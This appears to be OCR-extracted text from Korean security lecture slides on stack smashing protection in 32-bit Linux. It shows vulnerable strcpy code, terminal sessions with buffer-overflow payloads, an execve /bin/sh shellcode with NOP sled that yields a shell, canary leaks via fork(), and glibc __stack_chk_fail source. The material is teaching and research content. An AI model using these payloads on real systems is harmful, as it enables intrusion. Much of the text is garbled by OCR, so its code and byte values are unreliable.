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#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])

{

int target = 0x12345678;
char buffer[0x10];

if (argc > 1)

{
strcpy(buffer, argv[1]);

}
printf(“%x\n”, target);

return 0O;

imuina@ubuntu:~/ssp/testing$ ./
bof vuln “python -c 'print
"A"*OXC' A

12345678



#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])

{

int target = 0x12345678;
char buffer[0x10];

if (argc > 1)

{
strcpy(buffer, argv[1]);

}
printf(“%x\n”, target);

return 0O;

imuina@ubuntu:~/ssp/testing$ ./
bof vuln “python -c 'print
"A"*Ox14 + "A"*Oxc +
"\x14\x84\x04\x08"""

41414141

12345678

Segmentation fault (core dumped)
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#include <stdio.h>
#include <string.h>
if (pseudo_canary != 0x1234)

int f(char **argv) {
{ exit(0);
int pseudo_canary = 0x1234; }
int pipa = 0;
char *p; int main(int argc, char **argv)
char a[0x30]; {
f(argv);
p = aj; execl(“program”, “”, 0);
printf(“End of program\n™);
printf(“p=%x\n”, p); return 0;
strcpy(p, argv[1]); }

printf(“p=%x\n”, p);
strncpy(p, argv[2], 16);
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imuina@ubuntu:~/ssp/testing$ export MYSHELL= python -c 'print
"\x90"*65536+"\x31\xcO\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\
xe3\x50\x89\xe2\x53\x89\xel1\xb0\x0b\xcd\x80""'"

imuina@ubuntu:~/ssp/testing$ ./getenv
bffeff58

imuina@ubuntu:~/ssp/testing$ ./stackguard “python -c 'print

"A"*0x30+"\x8c\xf6\xfe\xbf"'" ‘python -c 'print "\x58\xff\xfe\xbf""'"
p=bffef644

p=bffef68c

S id

uid=1000(imuina) gid=1000(imuina)
groups=1000(imuina),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(1
padmin),124(sambashare)
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#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])

{

int target = 0x12345678;
char buffer[0x10];

if (argc > 1)

{
strcpy(buffer, argv[1]);

}
printf(“%x\n”, target);

return 0O;

imuina@ubuntu:~/ssp/testing$ gc
c -o bof_vuln bof.c

imuina@ubuntu:~/ssp/testing$ ./
bof vuln “python -c 'print
"A"*0x14 + "A"*Oxc +
"\x14\x84\x04\x08""'"

12345678
Segmentation fault (core dumped)



#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])

{
int target = 0x12345678;

char buffer[0x10];
if (argc > 1)

{
strcpy(buffer, argv[1]);

}
printf(“%x\n”, target);

return 0O;

imuina@ubuntu:~/ssp/testing$ gc
c -0 bof_ssp bof.c

imuina@ubuntu:~/ssp/testing$ ./
bof ssp ‘python -c 'print
"A"*0x14 + "A"*0xC +
"\x14\x84\x04\x08""'"

*** stack smashing detected

**%: _[ssp terminated
(12|12 Olst HIAIAE..)



imuina@ubuntu:~/ssp/testing$ gcc -o bof _ssp bof.c

imuina@ubuntu:~/ssp/testing$ ./bof _ssp “python -c 'print "A"*0x14 +
"A"*0xc + "\x14\x84\x04\x08""'"

*** stack smashing detected ***: ./bof_ssp terminated
Backtrace:

/1ib/1386-1linux-gnu/libc.so.6(__fortify fail+0x45)[0xb76330e5]

/1ib/1386-1linux-gnu/libc.so.6(+0x10509a)[0Oxb763309a]

./bof _ssp[0x80484db]

./bof _ssp[0x8048414]

08048000-08049000 r-xp 00OOOC00 08:01 318677
/home/imuina/ssp/testing/bof _ssp
08049000-08043000 r--p 00OOOCO0O0 08:01 318677
/home/imuina/ssp/testing/bof _ssp

bffdf000-cOOCO000 rw-p 0000000 00:00 0
Aborted (core dumped)




Dump of assembler code for function main:

0x08048464 <+0>: push  %ebp
%esp,%ebp
SOxFFfffffo,%esp

0x08048465 <+1>: mov
0x08048467 <+3>: and

Dump of assembler code for function main:
0x08048414 <+0>: push  %ebp
0x08048415 <+1>: mov %esp,%ebp
0x08048417 <+3>: and SOXFFEffffo,%esp
0x0804841a <+6>: sub $0x30,%esp
0x0804841d <+9>: movl $0x12345678,0x2c(%esp)
0x08048425 <+17>: cmpl  $0x1,0x8(%ebp)
0x08048429 <+21>: jle 0x8048443 <main+47>
0x0804842b <+23>: mov 0xc(%ebp) ,%eax

0x08048485 <+33>: xor %eax,%eax

0x08048487 <+35>: movl $0x12345678,0x28(%esp)
0x0804848f <+43>: cmpl  $0x1,0x1c(%esp)
0x08048494 <+48>: jle 0x80484af <main+75>

0x0804842e
0x08048431
0x08048433
0x08048437
0x0804843b
0x0804843e

<strcpy@plt>

0x08048443
0x08048448
0x0804844c
0x08048450
0x08048453

<printf@Eplt>

0x08048458
0x0804845d
0x0804845e

<+26>:
<+29>:
<+31>:
<+35>:
<+39>:
<+42>:

<+47>:
<+52>:
<+56>:
<+60>:
<+63>:

<+68>:
<+73>:
<+74>:

add
mov
mov
lea
mov
call

mov
mov
mov
mov
call

mov
leave
ret

$Ox4,%eax
(%eax) ,%eax
%eax,0x4(%esp)
0x1c(%esp) ,%eax
%eax, (%esp)
0x8048330

$0x8048530,%eax
0x2c(%esp) ,%edx
%edx ,0x4(%esp)
%eax, (%esp)
0x8048320

SO0 ,%eax

0x08048496
0x0804849a
0x0804849d
0x0804849f
0x080484a3
0x080484a7
0x080484aa

<strcpy@plt>

0x080484af
0x080484b4
0x080484b8
0x080484bc
0x080484bf

<printf@plt>

0x080484c4

<+50>:
<+54>:
<+57>:
<+59>:
<+63>:
<+67>:
<+70>:

<+75>:
<+80>:
<+84>:
<+88>:
<+91>:

<+96>:

mov
add
mov
mov
lea
mov
call

mov
mov
mov
mov
call

mov

0x18(%esp) ,%eax
SOx4,%eax
(%eax) ,%eax
%eax,0x4(%esp)
0x2c(%esp) ,%eax
%eax, (%esp)
0x8048380

$0x80485b0, %eax
0x28(%esp) ,%edx
%edx ,0x4(%esp)
%eax, (%esp)
0x8048360

SOx0,%eax

End of assembler dump.

0x080484db <+119>:
0x080484dc <+120>:
End of assembler dump.
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%gs:0x14

e TLS(Thread Local Storage)

« ThreadOIC} A|2 C}= global variableS
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* gs segment register0| base address A&

e Stack Canary—= gs:0x140{] A&Fc|0{ R\LC}.
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debug/stack_chk_fail.c

void
__attribute__ ((noreturn))
__stack _chk_fail (void)
{
__fortify fail ("stack smashing detected");

}




debug/fortify fail.c

void
__attribute _ ((noreturn))
__fortify _fail (msqg)
const char *msg;

{

/* The loop is added only to keep gcc happy. */

while (1)

__libc_message (2, "*** %s ***: %s terminated\n",
msg, _ libc_argv[0] ?: "<unknown>");




sysdeps/unix/sysv/linux/1libc_fatal.c (1)
struct str_list
{
const char *str;
size_t len;
struct str_list *next;

};

/* Abort with an error message. */
void
__libc_message (int do_abort, const char *fmt, ...)
{
va_list ap;
va_list ap_copy;
int fd = -1;

va_start (ap, fmt);
va_copy (ap_copy, ap);

#ifdef FATAL_PREPARE
FATAL_PREPARE;
#endif

/* Open a descriptor for /dev/tty unless the user explicitly
requests errors on standard error. */
const char *on_2 = _ secure_getenv ("LIBC_FATAL_STDERR_");
if (on_2 == NULL || *on_2 == "\0')
fd = open_not_cancel_2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);

if (fd == -1)
fd = STDERR_FILENO;

struct str_list *1ist = NULL;
int nlist = 0;




sysdeps/unix/sysv/linux/1libc_fatal.c (2)

const char *cp = fmt;
while (*cp !'= '"\0")
{

/* Find the next "%s" or the end of the string. */
const char *next = cp;

while (next[0] !'= '%' || next[1] != 's'")
{
next = __strchrnul (next + 1, '%');
if (next[0] == "\0")
break;
}

/* Determine what to print. */
const char *str;
size_t len;
if (cp[0] == '%"' && cp[1] == 's")
{
str = va_arg (ap, const char *);
len = strlen (str);

cp += 2;

}

else

{
str = cp;
len = next - cp;
cp = next;

}

struct str_list *newp = alloca (sizeof (struct str_list));
newp->str = str;

newp->len = len;

newp->next = list;




sysdeps/unix/sysv/linux/1libc_fatal.c (3)

list = newp;
++nlist;

}

bool written = false;
if (nlist > 0)
{
struct iovec *iov = alloca (nlist * sizeof (struct iovec));
ssize_t total = 0;

for (int cnt = nlist - 1; cnt >= 0; --cnt)
{
iov[cnt].iov_base = (void *) list->str;
iov[cnt].iov_len = list->len;
total += list->len;
list = list->next;

}

INTERNAL_SYSCALL_DECL (err);
ssize_t cnt;
do
cnt = INTERNAL_SYSCALL (writev, err, 3, fd, iov, nlist);
while (INTERNAL_SYSCALL_ERROR_P (cnt, err)
&& INTERNAL_SYSCALL_ERRNO (cnt, err) == EINTR);

if (cnt == total)
written = true;

if (do_abort)
{
total = ((total + 1 + GLRO(d1l_pagesize) - 1)
& ~(GLRO(d1_pagesize) - 1));




sysdeps/unix/sysv/linux/1libc_fatal.c (4)
struct abort_msg_s *buf = __mmap (NULL, total,
PROT_READ | PROT_WRITE,
MAP_ANON | MAP_PRIVATE, -1, 0);
if (__builtin_expect (buf != MAP_FAILED, 1))
{
buf->size = total;
char *wp = buf->msg;
for (int cnt = 0; cnt < nlist; ++cnt)
wp = mempcpy (wp, lov[cnt].iov_base, iov[cnt].iov_len);
*wp = '\0';

/* We have to free the old buffer since the application might
catch the SIGABRT signal. */
struct abort_msg_s *old = atomic_exchange_acq (&__abort_msg,
buf);
if (old != NULL)
__munmap (old, old->size);

}
va_end (ap);
/* If we had no success writing the message, use syslog. */
if (! written)

vsyslog (LOG_ERR, fmt, ap_copy);

va_end (ap_copy);

if (do_abort)
{
if (do_abort > 1 && written)

{
vold *addrs[64];




sysdeps/unix/sysv/linux/1libc_fatal.c (5)

#define naddrs (sizeof (addrs) / sizeof (addrs[0]))
int n = __backtrace (addrs, naddrs);
if (n > 2)
{
#define strnsize(str) str, strlen (str)
#define writestr(str) write_not_cancel (fd, str)
writestr (strnsize ("======= Backtrace: =========\n"));
__backtrace_symbols_fd (addrs + 1, n - 1, fd);

writestr (strnsize ("======= Memory map: ========\n"));
int fd2 = open_not_cancel_2 ("/proc/self/maps", O_RDONLY);
char buf[1024];
ssize_t n2;
while ((n2 = read_not_cancel (fd2, buf, sizeof (buf))) > 0)
if (write_not_cancel (fd, buf, n2) != n2)
break;
close_not_cancel_no_status (fd2);

}
}
/* Terminate the process. */
abort ();
}




sysdeps/unix/sysv/linux/1libc_fatal.c (5)

#define naddrs (sizeof (addrs) / sizeof (addrs[0]))
int n = __backtrace (addrs, naddrs);
if (n > 2)
{
#define strnsize(str) str, strlen (str)
#define writestr(str) write_not_cancel (fd, str)
writestr (strnsize ("======= Backtrace: =========\n"));
__backtrace_symbols_fd (addrs + 1, n - 1

writestr (strnsize ("======= Memory map: ========\n"));
int fd2 = open_not_cancel_2 ('/pr .
char buf[1624]; /* Terminate the process. */
ssize_t n2;
while ((n2 =-réad_not_cancel (fd: abort ();

if (write_not_cancel (fd

break; }

close_not_cancel_no_status (fd2); }

}

/* Terminate the process« “*/
abort ();
}




struct str_list

{
const char *str;
size_t len;
struct str_list *next;

};

/* Abort with an error message. */
void

__libc_message (int do_abort, const char *fmt, ..

{
va_list ap;
va_list ap_copy;
int fd = -1;

va_start {

va_copy (s CONSt char *on_ 2 =

#ifdef FATAL_PREPARE
FATAL,_PREPARE;
#endif

sysdeps/unix/sysv/linux/1libc_fatal.c (1)

»

__secure_getenv ("LIBC_FATAL_STDERR_");

/* Open a descriptor for /dev/tty unless the user explicitly

requests errors on standard error. */

czonst char *on_2 = secure_getenv ("LIBC FATAL STDERR ");

if (on_2 == NULL || *on_2 == '\@")

fd = open_not_cancel_2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);

if (fd == -1)
fd = STDERR_FILENO;

struct str_list *1ist = NULL;
int nlist = 0;




char *

{
}

__secure_getenv (name)

const char *name;

return

__libc_enable_secure ? NULL :

stdlib/secure-getenv.c

getenv (name);




char *
getenv (name)
const char *name;

{

size_t len = strlen (name);

char **ep;

uintl6_t name_start;

if (__environ == NULL || name[0] == '\0')
return NULL;

if (name[1] == '\0")
{

/* The name of the variable consists of only one character. Therefore
the first two characters of the environment entry are this character
and a '=' character. */

#if __ BYTE_ORDER == _ LITTLE_ENDIAN || !_STRING_ARCH_unaligned
name_start = ('=' << 8) | *(const unsigned char *) name;
#telse
# if __BYTE_ORDER == _ BIG_ENDIAN
name_start = '=' | ((*(const unsigned char *) name) << 8);
# else
#error "Funny byte order."
# endif
#endif
for (ep = __environ; *ep != NULL; ++ep)
{

#i1f _STRING_ARCH_unaligned
uint16_t ep_start = *(uintl6_t *) *ep;
#else
uint16_t ep_start = (((unsigned char *) *ep)[0]
| (((unsigned char *) *ep)[1] << 8));

stdlib/getenv.c (1)




#endif
if (name_start == ep_start)
return &(*ep)[2];
}
}
else
{

#if _STRING_ARCH_unaligned
name_start = *(const uintl6_t *) name;

#telse

name_start = (((const unsigned char *) name)[0]

| (((const unsigned char *) name)[1] << 8));

#endif

len -= 2;

name += 2;

for (ep = __environ; *ep != NULL; ++ep)

{

#i1f _STRING_ARCH_unaligned
uintl6_t ep_start = *(uintl6_t *) *ep;

#else

uintl6_t ep_start = (((unsigned char *) *ep)[0]

| (((unsigned char *) *ep)[1] << 8));

#endif

if (name_start == ep_start && !strncmp (*ep + 2, name, len)

&& (*ep)[len + 2] == '=")
return &(*ep)[len + 3];
}
}

return NULL;
}

stdlib/getenv.c (2)




sysdeps/unix/sysv/linux/1libc_fatal.c (1)
struct str_list
{
const char *str;
size_t len;
struct str_list *next;

1
/% Ahact uith an accar maccann il
fﬁ /* Open a descriptor for /dev/tty unless the user explicitly
b requests errors on standard error. */
va . const char *on_2 = __secure_getenv ("LIBC_FATAL_STDERR_");
" if (on_2 == NULL || *on_2 == '\0"')
' fd = open_not_cancel 2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);
#ifd
L if (fd == -1)
p fd = STDERR_FILENO;
T on s L | romz oy

fd = open_not_cancel_2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);

if (fd == -1)
fd = STDERR_FILENO;

struct str_list *1ist = NULL;
int nlist = 0;
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Stack Canary Leak

e fork()et7t Z2|H..

# define FORK() \
INLINE_SYSCALL (clone, 3, CLONE_PARENT_SETTID | SIGCHLD, 0, &pid)

#endif
7

e clone syscallO| gs segment register
At

e Child process’/| &2 stack canary=
7t



#include <stdio.h>

void func()
{
char buf[8];
printf(“%x\n”, *(int *)(buf
+ 8));
}

int main()
{
int 1, status, pid;
for (1 =0; 1 < 5; i++)
{
pid = fork();
if (!pid)
break;
wailt(&status);

}

func(); 7
}

imuina@ubuntu:~/ssp/testing$ ./
canary

2e77cabl

2e77cabl

2e77calo
2e77cano
2e77calo
2e77calo




(gdb) disassemble main

Dump of assembler code for function main:

0x080484d1 <+0>:
Ox080484d2 <+1>:

Ox080484e4 <+19>:

Ox0804850f <+62>:
Ox08048514 <+67>:
Ox08048515 <+68>:

End of assembler dump.

(gdb) disassemble func

push  %ebp
mov %esp ,%ebp

call 0x80483d0 < @plt>

call 0x8048494 <func>
leave
ret

Dump of assembler code for function func:

Ox08048494 <+0>:
Ox08048495 <+1>:
Ox08048497 <+3>:
Ox0804849a <+6>:
Ox080484a0 <+12>:

push  %ebp

mov %esp,%ebp

sub $0x28,%esp

mov , %eax
mov %eax, -0xc(%ebp)




general information leak

« libc _argv[0]= H=

debug/fortify fail.c

__libc_message (2, "*** %s ***: %s terminated\n",
msg, _ libc_argv[0] ?: "<unknown>");

4




imuina@ubuntu:~/ssp/testing$ ./test “python -c 'print "A"*268 + "AAAA"
+ ”A”*8 + ”A”*4' A

DONE!

Segmentation fault (core dumped)

imuina@ubuntu:~/ssp/testing$ ./test “python -c 'print "A"*268 +
"\x40\xf6\xff\xbf" + "B"*8 + "\x00"*4'"

DONE!

*** stack smashing detected ***:

terminated
Segmentation fault (core dumped)




2014 Codegate Final wsh

* Information leak with ssp




(Theoretical) Denial of Service

» SEAZ7] RleliM= B @2 AA0] 22
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sysdeps/unix/sysv/linux/1libc_fatal.c

struct str_1list *list = NULL;
int nlist = 0;

const char *cp = fmt;
while (*cp != '"\0')
{

/* Determine what to print. */

const char *str;

size_t len;

if (cp[0] == '%' && cp[1l] == 's')

{

str = va_arg (ap, const char *);
len = strlen (str);
cp += 2;

}




sysdeps/unix/sysv/linux/1libc_fatal.c

bool written = false;
if (nlist > 0)
{

struct iovec *iov = alloca (nlist * sizeof (struct iovec));
ssize_t total = 0;

for (int cnt = nlist - 1; cnt >= 0; --cnt)
{
iov[cnt].iov_base = (void *) list->str;
iov[cnt].iov_len = list->len;
total += list->len;
list = list->next;




sysdeps/unix/sysv/linux/1libc_fatal.c

if (do_abort)
{
total = ((total + 1 + GLRO(dl _pagesize) - 1)
& ~(GLRO(d1l _pagesize) - 1));
struct abort_msg s *buf = _mmap (NULL, total,
PROT_READ | PROT_WRITE,
MAP_ANON | MAP_PRIVATE, -1,
0);
if (__builtin_expect (buf != MAP_FAILED, 1))
{
buf->size = total;
char *wp = buf->msg;




sysdeps/unix/sysv/linux/1libc_fatal.c

for (int cnt = 0; cnt < nlist; ++cnt)
wp = mempcpy (wp, iov[cnt].ilov_base, iov[cnt].iov_len);
*wp = '\0';

/* We have to free the old buffer since the application

might
catch the SIGABRT signal. */

struct abort_msg s *old = atomic_exchange acq

(& _abort_msg,
buf);
if (old != NULL)
__munmap (old, old->size);
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e Stack Exhaustion Attack!
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